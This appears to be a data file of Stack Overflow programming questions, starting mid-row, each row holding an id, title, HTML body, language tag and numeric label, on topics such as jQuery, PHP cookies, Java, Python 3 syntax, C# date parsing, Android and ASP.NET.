<p>the HandlerForKeyUp function doesn't trigger, even thought I have the <code>change</code> event mapped out in the <code>.on</code> handler and SomeTextBox is of class <code>MyTextBoxes</code> and reacts to all other events. Basically, if the user types the counter works but if I set the value of the textbox at runtime the counter function doesn't trigger.</p>
<p>Any idea on how I could change this?</p>
<p>Thanks for your suggestions.</p>
| jquery | [5] |
942,161 | 942,162 | PHP Cookie Set expiry time to none | <p>i am setting a cookie but having some issue , currently the cookie format is this</p>
<pre><code>setcookie("company_id", $company_id, 0, '/');
</code></pre>
<p>So expiry time is set to 0 means cookie will never expire , but when i tried to not to set any expiry time so i passes an empty argument in the third parameter like this </p>
<pre><code>setcookie("company_id", $_POST["company_id"], "", '/');
</code></pre>
<p>But this is not working , cookie is not getting, when i changed the empty argument to 0 it than start working, any suggestions ?? what i am doing wrong ?</p>
| php | [2] |
673,032 | 673,033 | JQuery : Setting a dropdownlist to readonly until data is finished loading | <p>Hey, is it possible to set an Html.dropdownlist to readonly (or not selectable) until some data is finished loading? I have several dropdownlists that are dependent on each other and with web apps not being as fast as a regular app, i want to do this so the user doesnt get too confused when data dissapears.</p>
| jquery | [5] |
4,633,481 | 4,633,482 | Is that how 'Long' works (in Java)? | <p>Look at this Java code:</p>
<pre><code>class PerformanceTest2{
public static void main(String args[]){
Long sum = 0L;
for(int i=0;i<Integer.MAX_VALUE;i++)
sum += i;
System.out.println("Sum = " + sum);
}
}
</code></pre>
<p>It is observed that it takes longer for this code since sum is 'Long' & not 'long'. So in every iteration what happens is:</p>
<pre><code>sum = new Long(sum.longValue() + i); (for sum+=i;)
</code></pre>
<p>So, a new object is created every time. Doesn't Java support C++ like feature of returning a reference so that we could've written (possibly):</p>
<pre><code>sum.longValue() += i;
</code></pre>
<p>possibly not having to create sum object every time around the loop? Am I right? </p>
| java | [1] |
646,062 | 646,063 | Replicating the values to another textbox | <p>i have a question regarding JSP.I have two textboxes .When i type the value in the first text box ,it should replicate automatically in the second text box.</p>
<pre><code><input type="text"
class="formtext"
name="List.lItemList<c:out value='[${status.index}]'/>.value1"
value="0.0"
onChange="validateOnChange(this,'desc','minvalue','maxValue','float')">
<input type="text"
class="formtext"
name="List.clItemList<c:out value='[${status.index}]'/>.value2"
value="0.0"
onChange="validateOnChange(this,'desc','minvalue','maxvalue','float')">
</code></pre>
<p>Kindly help on this...</p>
<p>Thanks</p>
| javascript | [3] |
695,744 | 695,745 | How to find first element that is hidden by JQuery | <p>I want to show first element that is hidden by jquery. my html code is:</p>
<pre><code><ol>
<li>1</li>
<li style="display:none">2</li>
<li style="display:none">3</li>
<li style="display:none">4</li>
<li style="display:none">5</li>
<li><a class="add">Add More ...</a></li>
</ol>
</code></pre>
<p>I want to show first hidden LI, each time that "a" element was clicked.
My solution is below. but I think better way exists.</p>
<pre><code>$("a.add").click(function(){
var hiddens=$(":hidden",$(this).parent().parent());
if (hiddens.length>0)
{
hiddens.each(function(index,el){
if(index==0)
{
$(this).slideToggle("fast");
}
});
}
if (hiddens.length==1)
{
$(this).parent().hide();
}
</code></pre>
<p>Tanx</p>
| jquery | [5] |
42,582 | 42,583 | python 3.3.0 syntax error | <blockquote>
<p><strong>Possible Duplicate:</strong><br>
<a href="http://stackoverflow.com/questions/826948/syntax-error-on-print-with-python-3">Syntax error on print with Python 3</a> </p>
</blockquote>
<p>So I am very new to Python (about 10 mins old)... I downloaded the latest Python 3.3.0 from <a href="http://www.python.org/download/releases/3.3.0/" rel="nofollow">here</a></p>
<p>Then I installed it and added python to my windows XP path <code>PATH=C:\Python33\;C:\WINDOWS\system32;...</code></p>
<p>Then I opened notepad and created a file called <code>test.py</code> and typed the following into it:</p>
<p><code>print "Hello, World!"</code></p>
<p>Next I went and opened a command prompt, switched to that folder and issued the command:</p>
<p><code>python test.py</code></p>
<p>And it returned:</p>
<pre><code>File "test.py", line 1
print "Hello, World!"
^
SyntaxError: invalid syntax
</code></pre>
<p>:( I did not get any error while the python installation, my path variables all seem right, every tutorial I looked up online said that is the correct syntax, and like I said since I am new to Python I do not know where/what might be wrong....</p>
<p>Any pointers on what I am doing wrong? </p>
| python | [7] |
1,247,821 | 1,247,822 | In Java, does an object variable contain the address of an object? | <p>I was talking with my teacher, and she mentioned that an object variable (she means an instance of an object) did not contain the object itself, but rather the address in memory. </p>
<p>I've heard that in Java, an instance of an object really contains a reference to an object in memory. Am I wrong? Is a reference the same thing as containing the address in memory, or something else?</p>
| java | [1] |
1,280,613 | 1,280,614 | How to capitalize the first letter of word in a string using java? | <blockquote>
<p><strong>Possible Duplicate:</strong><br>
<a href="http://stackoverflow.com/questions/1892765/capitalize-first-char-of-each-word-in-a-string-java">Capitalize First Char of Each Word in a String Java</a> </p>
</blockquote>
<p>Example strings</p>
<pre><code>one thousand only
two hundred
twenty
seven
</code></pre>
<p>How do i change the first character of a string in capital letter and not change the case of any of the other letters. After change it should be</p>
<pre><code>One thousand only
Two hundred
Twenty
Seven
</code></pre>
<p>Note: I don't want to use the apache.commons.lang.WordUtils to do this.</p>
| java | [1] |
4,911,886 | 4,911,887 | javascript JSON parse object property directly to int | <p>I have some objects that I'm parsing from json using native browser implementations. Some of the objects' properties are numbers. For the moment, the numbers are parse from json as strings and I use parseInt to cast the string to the int I need.</p>
<p>The problem is that I've got 23 objects I do this with and overall about 80 properties that I'm parsing to ints like this:</p>
<pre><code>if (TheObject && TheObject.TheProperty) {
TheObject.TheProperty = parseInt(TheObject.TheProperty, 10);
}
</code></pre>
<p>There are many lines of code that look very similar. Is there a way using prototypes or something to change the way the JSON.parse function works so that each time the parser runs it checks to see if a string property is actually an int and if so cast it directly as such?</p>
<p>Thanks.</p>
| javascript | [3] |
4,527,985 | 4,527,986 | Capture key press without placing an input element on the page? | <p>How to capture key press, e.g., Ctrl+Z, without placing an input element on the page in JavaScript? Seems that in IE, keypress and keyup events can only be bound to input elements (input boxes, textareas, etc)</p>
| javascript | [3] |
1,608,035 | 1,608,036 | How to solve "301 moved permanently" in android webview? | <p>I am trying to implement foursquare OAuth based authentication in my android app. It works fine in my Andorid web browser, but it displays "301 moved permanently" in Android webview. I tried to debug it and found that it displays this error on following URL:</p>
<pre><code>https://foursquare.com/mobile/login?continue=%2Fmobile%2Foauth%2Fauthorize%3Foauth_token{my_token}
</code></pre>
<p>And the same URL works fine on Andriod browser. So, I think there is something need to be done with webview seetings. </p>
| android | [4] |
4,356,463 | 4,356,464 | Highlight the lowest value | <p>after a mysql query i display this code</p>
<pre><code><div id="id1" style="border:1px solid red;" data-distance="31.5">
<div id="id2" style="border:1px solid red;" data-distance="1.9">
</code></pre>
<p>the number of div, and the value of "data-distance" outputed can be different depending on mysql result.</p>
<p>What i want is to change style from "border:1px solid red" to "border:1px solid green" for the div wich have the lowest value for "data-distance".</p>
<p>In the exemple above it will be</p>
<pre><code><div id="id1" style="border:1px solid red;" data-distance="31.5">
<div id="id2" style="border:1px solid green;" data-distance="1.9">
</code></pre>
| jquery | [5] |
422,365 | 422,366 | How to write a string that starts with @ and contains " " in C# | <p>When I change the following C# string</p>
<pre><code>string xml="xmlns:qtpRep=\"http://www.mercury.com/qtp/ObjectRepository\""
</code></pre>
<p>into</p>
<pre><code>string xml=@"xmlns:qtpRep=\"http://www.mercury.com/qtp/ObjectRepository\""
</code></pre>
<p>I get compiler error: ;expected<br/>
How can I express the literal double quotes inside a string starting with @ ?</p>
| c# | [0] |
4,947,371 | 4,947,372 | how to add .a file in my xcode | <p>how can i add .a file in my xcode</p>
| iphone | [8] |
2,070,888 | 2,070,889 | how i can read from text file and insert this data to database in android | <p>i need to read from text file and insert this data to database</p>
<p>the text file contain lines and each line contain data separated by comma</p>
<p>i do this code its running without error</p>
<p>and the lines reads successfully</p>
<p>but the data not save successfully to database</p>
<p>public void GetFrom_Text(){
String []message=null;</p>
<pre><code> BufferedReader br=null;
String name1, faculty1, deparment1, officeNumber1, email1, phone1,officeHour1;
long e;
try{
String sCurrentLine = null;
br =new BufferedReader(new InputStreamReader(getAssets().open("ab.txt")));
sCurrentLine = br.readLine();
while((sCurrentLine = br.readLine()) != null){
Log.d("Line from file", sCurrentLine);
if(sCurrentLine!=null ){
message=sCurrentLine.split(",");
faculty1=message[0];
deparment1=message[1];
name1=message[2];
officeNumber1=message[3];
phone1=message[4];
email1=message[5];
officeHour1=message[6];
db.open();
db.insertRecord(faculty1,deparment1,name1,officeNumber1,phone1,email1,officeHour1);
db.close();
}}}
catch (IOException e1){
e1.printStackTrace();
}finally{
try {
if (br !=null)br.close();
}catch (IOException ex){
ex.printStackTrace();
}
}
}
insertRecord method work well .
</code></pre>
| android | [4] |
4,997,547 | 4,997,548 | How to change grid title according to url? | <p>I want to Change the titles of my grid according to url
i.e if i am having <strong>http://localhost/jvb/admin/view_report.php?arid=98</strong>
then grid should have titles as shown below..</p>
<pre><code><table>
<tr>
<th width="18%" align="centre" bgcolor="#CCCCCC" class="link-l">Sr.No</th>
<th width="17%" align="centre" bgcolor="#CCCCCC" class="link-l">Name</th>
<th width="15%" align="centre" bgcolor="#CCCCCC" class="link-l">Commission</th>
<th width="18%" align="centre" bgcolor="#CCCCCC" class="link-l">View</th>
</tr>
</table>
</code></pre>
<p>and in other case if url is
<strong>http://localhost/jvb/admin/view_report.php?crid=31</strong>
then the grid should have titles as shown below..</p>
<pre><code><table>
<tr>
<th width="18%" align="centre" bgcolor="#CCCCCC" class="link-l">Sr.No</th>
<th width="17%" align="centre" bgcolor="#CCCCCC" class="link-l">Name</th>
<th width="15%" align="centre" bgcolor="#CCCCCC" class="link-l">Closing amount</th>
<th width="18%" align="centre" bgcolor="#CCCCCC" class="link-l">View</th>
</tr>
</table>
</code></pre>
| php | [2] |
2,936,686 | 2,936,687 | Session_set_save_handler close/gc | <p>I need to perform an action after a session times out. However I have no clue how to trigger that action without an incoming request. An event handler/a listener/a timer would suit perfect but since PHP does not support such a thing it is really difficult to accomplish what I want.</p>
<p>After lot of searching I bumped into session_set_save_handler but I still cannot fully understand how this method works. If I write code that triggers the action inside the close method when it will be executed?</p>
<p>I also need to keep the current session solution as it is and I wonder what the ramifications of using session_set_save_handler in conjunction with that will be? (My current solution sets a session cookie, assigns a name to the session and starts the session, when the user logs out or a request is done after the session timeout (that value is set in a configuration file) the session is completely destroyed)</p>
<p>Regards!</p>
| php | [2] |
4,905,761 | 4,905,762 | Show/hide div on click using jQuery to create a "click menu" | <p>I'm new to jQuery and need some help to show and hide a div on click. Basically I need to show a div (containing a small menu) once the user click on a link, and as soon as the user click on a link inside the div just shown. Or clicks outside the div I need to hide the div again.my HTML looks something like this (I'll exist in many places on the page).</p>
<pre><code><a class="menu" href="#">Menu</a>
<div class="menu-content" style="display: none; position: absolute; border: 1px solid black; background-color: White;padding: 5px;">
<div><a href="#">Menu option 1</a></div>
<div><a href="#">Menu option 2</a></div>
</div>
</code></pre>
<p>I also have a div that wraps the whole page that I thought I'd set another click-event on to hide the div (to catch clicks outside of the actual menu). </p>
<p>Is this the right approach for solving this and how do I then remove the handlers on the wrapper div etc, etc. What else should I think of to get this right (if it it's the right approach that is)?</p>
<p><strong><em>Update:</em></strong> Based on the accepted answer below I added this to solve it</p>
<pre><code>//Need to return false here, otherwise the event will bubble up and trigger the hide on body
$('.menu').click(function() { $('.menu-content').hide();$(this).next().show();return false; });
$('body, .menu-content a').click(function() { $('.menu-content').hide();});
$('.menu-content a').click(function() { alert($(this)); });
</code></pre>
| jquery | [5] |
402,642 | 402,643 | Listening to serial port to know whether modem installed/removed in C#? | <p>How will i continuous listen to COM for detecting modem.
if a modem is added or removed it should inform you that Modem installed or removed at COM45 etc.</p>
<p>I have tried to use a thread and check the com count but i am unable to know which com is modem.</p>
<p>If there is any specific class for this pls help me fr the code asap???</p>
| c# | [0] |
4,982,208 | 4,982,209 | Take current datetime and make 2 datetime variables? (6AM - 5:59AM) | <p>I'm trying to make an events page and I want to create 2 <code>datetime</code> variables. They would take the current time, and create one variable at 06:00 am, and one at 05:59 am. </p>
<p>The issue I'm having though is with the calculations.</p>
<p>If a person is visiting the page on <em>March 17, 11PM</em> - then var1 would be <em>March 17 06:00AM</em>, and var <em>2 March 18 05:59AM</em>.</p>
<p>However if a person is viewing the page on <em>March 18 01:00 AM</em>, then var 1 would still be <em>March 17 06:00AM</em>, the same goes for var2.</p>
<p>How would I take the below $date variable, and do the calculations for the other 2 variables?</p>
<pre><code>date_default_timezone_set('America/New_York');
$date = date('Y-m-d H:i:s', time());
</code></pre>
<p><img src="http://i.stack.imgur.com/itew1.png" alt=""></p>
| php | [2] |
124,720 | 124,721 | Is there any page specific property to replace session["user_id"] | <p>In my page i have used <code>Session["user_id"]</code> to know the status of user. Is there any page specific property to replace <code>Session["user_id"]</code>. </p>
| asp.net | [9] |
4,272,110 | 4,272,111 | Add a unsupported tag into ASP.NET HtmlTextWriter | <p>I'm trying to introduce HTML5 into my apps , but I'm struggling to find a way to use HtmlTextWriter with a new tag.</p>
<p>Would anyone be able to tell me how I can render an <code><aside></code>or a <code><section></code> tag using HtmlTextWriter and WriteFullBeginTag?</p>
<p>I'm using webforms - C# or VB solution accepted.</p>
<p>Thanks in advance</p>
<p>Sniffer</p>
| asp.net | [9] |
5,024,192 | 5,024,193 | Joining values in an arraylist | <p>Say I have an arraylist a with the values:</p>
<pre><code>a[0] = G
a[1] = B
a[2] = D
</code></pre>
<p>I was wondering, how can I create a new arraylist in java, that joins index values at random places and puts it into a new arraylist b
So like:</p>
<pre><code>b[0] = GB
b[1] = D
</code></pre>
<p>or</p>
<pre><code>b[0] = G
b[1] = BD
</code></pre>
<p>or </p>
<pre><code>b[0] = GBD
</code></pre>
<p>The order of the values is kept the same, it's just the different combinations of the joins, and at different places over different amounts.</p>
| java | [1] |
1,468,274 | 1,468,275 | can't debug asp.net - "unable to start program" | <p>I cannot debug an asp.net application. Nothing was changed or installed on purpose, maybe some automatic updates, which I thought were turned off. Just woke up one day and whenver I try to debug, I get the mesage "Unable to start program <a href="http://localhost:49404/Default.aspx" rel="nofollow">http://localhost:49404/Default.aspx</a>". This is Visual Studio 2008 on Vista Business 64 bit. Facts:
-neither applications that use IIS or the built in webserver will debug
-applications will run without debugging (debug build, just run)
-visual studio, iis, and the dot net 3.5 sdk have been reisntalled.
Any ideas? This is going on days trying to figure this out. About to reisntall vista.
Brian</p>
| asp.net | [9] |
3,507,167 | 3,507,168 | Simple PHP question | <p>Yes, it's a simple question, but one that I can't find a answer for through the PHP documentation or Google. (I'm just learning PHP....)</p>
<p>If this works:</p>
<pre><code><?php $d=date("D"); if ($d="Mon") { ?>echo this text on Monday<?php endwhile; ?><?php } else { ?><?php } ?>
</code></pre>
<p>Why doesn't this?</p>
<pre><code><?php $d=date("D"); if ($d="Mon,Tue") { ?>echo this text on Monday and Tuesday<?php endwhile; ?><?php } else { ?><?php } ?>
</code></pre>
<p>Do I need different delimiters between Mon and Tue? I've tried || and && .... </p>
<p>Thanks, Mark</p>
| php | [2] |
5,633,979 | 5,633,980 | How to word by word iterate in string in C#? | <p>I want to iterate over string as word by word.</p>
<p>If I have a string "incidentno and fintype or unitno", I would like to read every word one by one as "incidentno", "and", "fintype", "or", and "unitno".</p>
| c# | [0] |
5,389,878 | 5,389,879 | C# - custom explicit conversion with checked/unchecked operator | <p>I'm learning to write custom type conversions in C# and I have a question I can't manage to resolve with Google / MSDN / earlier posted SO items.</p>
<p>Normally, a C# program that narrows a numeric type does that via unchecked explicit conversion, e.g.:</p>
<pre><code>int i = 256;
byte b = (byte)i; // b == 0
</code></pre>
<p>however, the following will give an overflow exception:</p>
<pre><code>byte b = checked((byte)i);
</code></pre>
<p>My question is as follows: is the behavior of the checked / unchecked keyword implementable in an custom type conversion, e.g.:</p>
<pre><code>class Foo {
public static explicit operator int(Foo bar) {
if (checked)
throw someEception
else
return some Foo to int conversion
}
}
</code></pre>
<p>Of course, the code above is not the answer, but does anyone know if something like this is possible?</p>
| c# | [0] |
363,084 | 363,085 | C# (language only) compiler | <p>I am looking for an option to compile C# syntax to native code (or maybe to C++?). I am not interested in having all the libraries that are officially part of the language, just being able to write programs the same as I write my C++ programs, but using language constructs such as partial classes, properties, lambdas, generics, etc.</p>
<ol>
<li>Is there such a thing?</li>
<li>If there isn't, is such a thing even possible, or am I misunderstanding something fundamental about C#?</li>
</ol>
| c# | [0] |
4,978,124 | 4,978,125 | I want to use api 11 but my android will not parse the app | <p>What can I do i.e. import something so that I can compile my app which needs calendar view etc. and then run it on my android. Android version on my phone is 2.3.6 (gingerbread).</p>
| android | [4] |
4,257,777 | 4,257,778 | how to read email from gmail using c# | <p>I want to create window application through which i can read email from gmail.</p>
<p>Actually i want to read proper format of email like to,from,subject,cc and body. </p>
<pre><code> using (Imap imap = new Imap())
{
imap.ConnectSSL("mail.company.com");
imap.Login("angel_y@company.com", "xyx***");
imap.SelectInbox();
List<long> uids = imap.SearchFlag(Flag.Unseen);
foreach (long uid in uids)
{
string eml = imap.GetMessageByUID(uid);
IMail message = new MailBuilder()
.CreateFromEml(eml);
Console.WriteLine(message.Subject);
Console.WriteLine(message.TextDataString);
}
imap.Close(true);
}
</code></pre>
<p>It is this error.
No connection could be made because the target machine actively refused it </p>
| c# | [0] |
5,133,472 | 5,133,473 | Create two alerts in jQuery from querying a string in a variable | <p>I have the following string as a variable:</p>
<pre><code>var name1 = '001-C6AL7_deepgreen_C3AE7_tankhakinavy_FJAG7_blackredmulti_FBAE7_tanbrown.jpg';
</code></pre>
<p>Which is provided by the server side configuration that I can't edit. With jQuery is there a way I can create an alert of all characters before and after a unique character (the hyphen '-'). </p>
<p>So ideally, it'd alert first with <code>001</code> and then the second alert would be <code>C6AL7_deepgreen_C3AE7_tankhakinavy_FJAG7_blackredmulti_FBAE7_tanbrown.jpg</code></p>
| jquery | [5] |
3,554,880 | 3,554,881 | While consuming Webservices getting Network timeout error in iphone | <p>While consuming a SharePoint WebService in iphone app getting a network timeout error.
I tried as follows.</p>
<p>1) Increased request timeout</p>
<p>2) Checked load of the data </p>
<p>3) verified the WS connectivity </p>
<p>and Im using below code for authentication..</p>
<pre><code>// Called if the HTTP request receives an authentication challenge.
-(void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge {
if([challenge previousFailureCount] == 0) {
NSURLCredential *newCredential;
newCredential=[NSURLCredential credentialWithUser:@"atd\\kuldeep.shige"
password:@"W@Rk"
persistence:NSURLCredentialPersistenceNone];
[[challenge sender] useCredential:newCredential forAuthenticationChallenge:challenge];
} else {
NSDictionary* userInfo = [NSDictionary dictionaryWithObjectsAndKeys:
@"Could not authenticate this request",
NSLocalizedDescriptionKey,nil];
[[challenge sender] cancelAuthenticationChallenge:challenge];
NSError* error = [NSError errorWithDomain:@"SoapRequest"
code:403
userInfo:userInfo];
[self handleError:error];
}
}
</code></pre>
<p>Please help me on this.
Thanks in advance!!</p>
| iphone | [8] |
2,357,887 | 2,357,888 | android application updates | <p>i am looking to create a private android application for my organization. i do not want to publish it to the marketplace since it is only being used for internal purposes. i was wondering if there is a way to have the app check a specific server for updates, in the event that i want to release a new version. how could i go about doing this? or, is there a way to publish an app to android marketplace and make it private? either option will be helpful. thank you.</p>
| android | [4] |
5,540,497 | 5,540,498 | C#: What is the mistake in this code? | <pre><code>using System;
using System.Globalization;
namespace ConsoleApplication20
{
class Program
{
static void Main(string[] args)
{
string[] formats ={
"MM/dd/yyyy HH:mm:ss tt",
"MM/dd/yyyy HH:mm:ss",
"MM/dd/yyyy H:mm:ss tt",
"MM/dd/yyyy H:mm:ss",
"M/dd/yyyy HH:mm:ss tt",
"M/dd/yyyy HH:mm:ss",
"M/dd/yyyy H:mm:ss tt",
"M/dd/yyyy H:mm:ss",
"MM/d/yyyy HH:mm:ss tt",
"MM/d/yyyy HH:mm:ss",
"MM/d/yyyy H:mm:ss tt",
"MM/d/yyyy H:mm:ss",
"M/d/yyyy HH:mm:ss tt",
"M/d/yyyy HH:mm:ss",
"M/d/yyyy H:mm:ss tt",
"M/d/yyyy H:mm:ss"
};
string date1 = "11/08/2008 4:00:49";
DateTime result;
if (DateTime.TryParseExact(date1, formats,
new CultureInfo("en-US"),
DateTimeStyles.None,
out result))
{
DateTime startTime = result;
}
Console.Write(startTime);
}
}
}
</code></pre>
<p>please explain me .. why always that if statement returns false ..<br><br><br><br> Thanx for help and support, <a href="http://stackoverflow.com/users/5409/rik">Rik</a>,<a href="http://stackoverflow.com/users/41410/phillip-ngan">Phillip</a>,<a href="http://stackoverflow.com/users/3043/joel-coehoorn">Joel</a> and <a href="http://stackoverflow.com/users/5380/kent-boogaart">Kent</a> and everyone else ..</p>
| c# | [0] |
5,596,548 | 5,596,549 | java's DO_NOTHING_ON_CLOSE | <p>I have this snippet of the code:</p>
<pre><code>public class Main_class {
public static void main(String[] args) {
JFrame first = new JFrame();
first.setTitle("Hello");
first.setSize(300, 100);
first.setLocation(300, 100);
first.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
first.setVisible(true);
}
}
</code></pre>
<p>I receive primitive frame, my question is how do I supposed to close the window without windows manager task, thanks in advance</p>
| java | [1] |
571,990 | 571,991 | Scroll through multiple listViews | <p>Hello I am writing a rather large app and on the main page I would like the option to search through all of the pages. Because I need to get and display the different types of information in different ways I have made a few subclasses of ArrayAdapters and I am connecting them to different ListViews on my search results page. This all works fine.</p>
<p>The problem is that the result sets are sometimes too large to fit on a single screen. The result is that I can't scroll past the first set of results to see the other listViews. I have tried to put the listViews into a scrollView but I am getting this error:</p>
<pre><code>java.lang.UnsupportedOperationException: addView(View, LayoutParams) is not supported in AdapterView
</code></pre>
<p>I have done some research on this problem and most people that get it seem to be getting it for completely different reasons. The code totally works if it is not in a scrollview (except the scrolling) but nesting the listViews seems to make the program mad and it wont even get past setContentView.</p>
<p>So my questions are:</p>
<ol>
<li><p>Am I approaching this correctly? Is there a way to display several Adapters at the same time in 1 listview?</p></li>
<li><p>Is there any way to scroll without adding a scrollview?</p></li>
</ol>
| android | [4] |
3,815,036 | 3,815,037 | how to call dealloc method | <p>I am new to iPhone development.
I am calling one viewController on my button click event. But when I come back, my <code>-dealloc</code> method is not called. Here is my code of button click event:</p>
<pre><code>-(IBAction)btnAddPressed:(id)sender
{
FriendsTableListViewController *viewController = [[FriendsTableListViewController alloc] initWithNibName:@"FriendsTableListViewController" bundle:nil];
[self.navigationController pushViewController:viewController animated:YES];
[viewController release];
}
</code></pre>
<p>Here is my dealloc method of viewController where i was after clicked on button:</p>
<pre><code>-(void)dealloc{
[super dealloc];
}
</code></pre>
<p>I don't know why dealloc method is not working properly. Please help me. Thanking you...</p>
| iphone | [8] |
5,438,165 | 5,438,166 | Why cant we use reference in algorithms and data structure? | <blockquote>
<p>As a general rule, use references in function parameters and return
types to define attractive interfaces. Use pointers to implement
algorithms and data structures.</p>
</blockquote>
<p>I read this line in an article.I had the doubt of why reference cannot be used in algorithms and datastructures?</p>
<p>Please help me undestand why is it.</p>
| c++ | [6] |
5,499,195 | 5,499,196 | is_int and GET or POST | <p>Why does <code>is_int</code> always return false in the following situation?</p>
<pre><code>echo $_GET['id']; //3
if(is_int($_GET['id']))
echo 'int'; //not executed
</code></pre>
| php | [2] |
491,573 | 491,574 | jQuery alerts and escaping quotes | <p>I have a php page on which I show a jQuery alert when a user adds products to their cart. The message displayed in the alert is a variable from a php page where all language elements are stored.</p>
<pre><code>$cartaddeditem='The product was added to your cart.\r\n You can view your <a href=\'cart.php?action=show\'>shopping cart</a> or click OK to continue shopping';
</code></pre>
<p>Then, on the page:</p>
<pre><code><body onload="jAlert('success', '<?=$cartaddeditem?>', '<?=$minicart?>');" <? } >
</code></pre>
<p>The problem is that the alert fails to fire because of the quotes in the $cartaddeditem var and I'm getting an error in firebug that says:</p>
<pre><code>Error: missing ) after argument list
Line: 1, Column: 22
Source Code:
jAlert('success', The product was added to your cart.\r\n You can view your <a href=\
</code></pre>
<p>How do I escape the quote in the message string for jQuery? I tried several escaping types with double and single quotes, one or two backslashes but nothing worked.</p>
| jquery | [5] |
2,987,082 | 2,987,083 | Adding SSL Certificate to Keystore | <p>Can someone please guide me on how to add Certificate to Keystore(Android Mobile)...A sample code will be helpfull..</p>
| android | [4] |
5,413,875 | 5,413,876 | Android : How can i settag for the images which are in gridview? | <p>Can anyone tell me how can I setTag and getTag for the images which are in gridview.
I have written the following code, but it doesn't work. Is the following code correct or not?</p>
<pre><code>int jj=100;
for(int j=0;j<imageid.length;j++)//imageid is the array of drawable images
{
griview1.getChildAt(j).setTag(jj);
System.out.println(g.getChildAt(j).getTag());
}
</code></pre>
<p>this is my getView method</p>
<pre><code>public View getView(int arg0, View arg1, ViewGroup arg2) {
// TODO Auto-generated method stub
ImageView imv;
if(arg1!=null)
{
imv=(ImageView)arg1;
}
else
{
imv=new ImageView(cont);
imv.setLayoutParams(new GridView.LayoutParams(40,40));
imv.setScaleType(ScaleType.CENTER_CROP);
imv.setPadding(0,0,0,0);
}
}
imv.setImageResource(imageid[arg0]);
return imv;
</code></pre>
| android | [4] |
2,458,333 | 2,458,334 | How make font in TexView more thinner? | <p>I want to make font in <strong>TextView</strong> more thinner. How can I do it?
Thanks in advance.</p>
| android | [4] |
5,534,909 | 5,534,910 | Selector on background color of TextView | <p>I'm attempting to change the background color of an Android TextView widget when the user touches it. I've created a selector for that purpose, which is stored in res/color/selector.xml and roughly looks like that:</p>
<pre><code><?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item
android:state_pressed="true"
android:color="@color/semitransparent_white"
/>
<item
android:color="@color/transparent"
/>
</selector>
</code></pre>
<p>The clickable attribute of the TextView is "true", in case that's of interest.</p>
<p>When I assign this selector to a TextView as android:background="@color/selector", I'm getting the following exception at runtime:</p>
<pre><code>ERROR/AndroidRuntime(13130): Caused by: org.xmlpull.v1.XmlPullParserException: Binary XML file line #6: <item> tag requires a 'drawable' attribute or child tag defining a drawable
</code></pre>
<p>When I change the attribute to drawable, it works, but the result is looking completely wrong because the IDs appear to be interpreted as image references instead of color references (as the "drawable" suggests).</p>
<p>What confuses me is that I can set a color reference, e.g. "@color/black", as the background attribute directly. This is working as expected. Using selectors doesn't work.</p>
<p>I can also use the selector as the textColor without problems.</p>
<p>What's the correct way to apply a background-color-selector to a TextView in Android?</p>
<p>Thanks
db</p>
| android | [4] |
3,880,693 | 3,880,694 | A list of objects in Java | <p>I'm trying to make a list containing different objects.</p>
<pre><code>List<Object> list = new ArrayList<Object>();
defObject defObj;
optObject optObj;
</code></pre>
<p>and defObject has just one property for a String.</p>
<pre><code> public static class defObject
{
public static String defObj;
public defObject(String x)
{
setDefObj(x);
}
public static String getDefObj() {
return defObj;
}
public static void setDefObj(String defObj) {
defObject.defObj = defObj;
}
}
</code></pre>
<p>if I add multiple defObjects to the list and go through the list after I'm done adding the element they all contain the same string, which was of the last defObject added to the list.</p>
<p>I'm doing something like this to add the objects to the list:</p>
<pre><code> if (whatever)
list.add(defObj = new defObject("x"));
else if(whatever)
list.add(defObj = new defObject("y"));
</code></pre>
<p>and the result is two defObjects with a string of "y"</p>
<p>Please help me figure out why the objects aren't being added correctly and the properties are all same as the last defObj added to the list.</p>
| java | [1] |
1,835,543 | 1,835,544 | How do i test my asp.net httphandler | <p>Im trying to write a small web application for forwarding requests to my page to the new pages on my web site. First off im implementing a IHttpHandler and in the ProcessRequest method i simple want to print out the requesting page, my conde looks like this:</p>
<pre><code>public class RedirectHandler : IHttpHandler
{
public bool IsReusable
{
get { return true; }
}
public void ProcessRequest(HttpContext context)
{
context.Response.Write(context.Request.Path);
}
}
</code></pre>
<p>I have registered in the web.config and have a problem with testing the handler. I start it through visual studio, it is just listing my files. I then from a browser request a file, and expects to see the name in the browser, but an exception that the page is not found is thrown. I have deleted all other .aspx page so the only "page" i have is my http handler. Could anyone point me in the right direction?</p>
<p><strong>Edit</strong>
Configuration settings (web.config)</p>
<pre><code><system.webServer>
<modules runAllManagedModulesForAllRequests="true"/>
<handlers>
<add name="RedirectHandler" resourceType="Unspecified" verb="*" path="*.html" type="Jeeves.RedirectHandler"/>
</handlers>
</system.webServer>
</code></pre>
| asp.net | [9] |
5,803,921 | 5,803,922 | Problem with click function in JQuery | <p>I have a link appended to a div element. And on clicking the link, I want a function to be executed.In order to check if the function is called, when I click the link, i had an alert box in that function. But no alert box is appearing if I click the link?</p>
<p>This is the link added to the div element 'fb<code>_</code>contentarea<code>_</code>col2top'.</p>
<pre><code>$("<p class='title2'>Recent Entries | <a id='actions' href='#'>Actions</a> </p>").appendTo("#fb_contentarea_col2top");
</code></pre>
<p>When I click this link, I want this function to be called,</p>
<pre><code>$('#actions').click(function (){
alert("HI");
});
</code></pre>
<p>But the alert does not come. What is the mistake I am doing?</p>
| jquery | [5] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.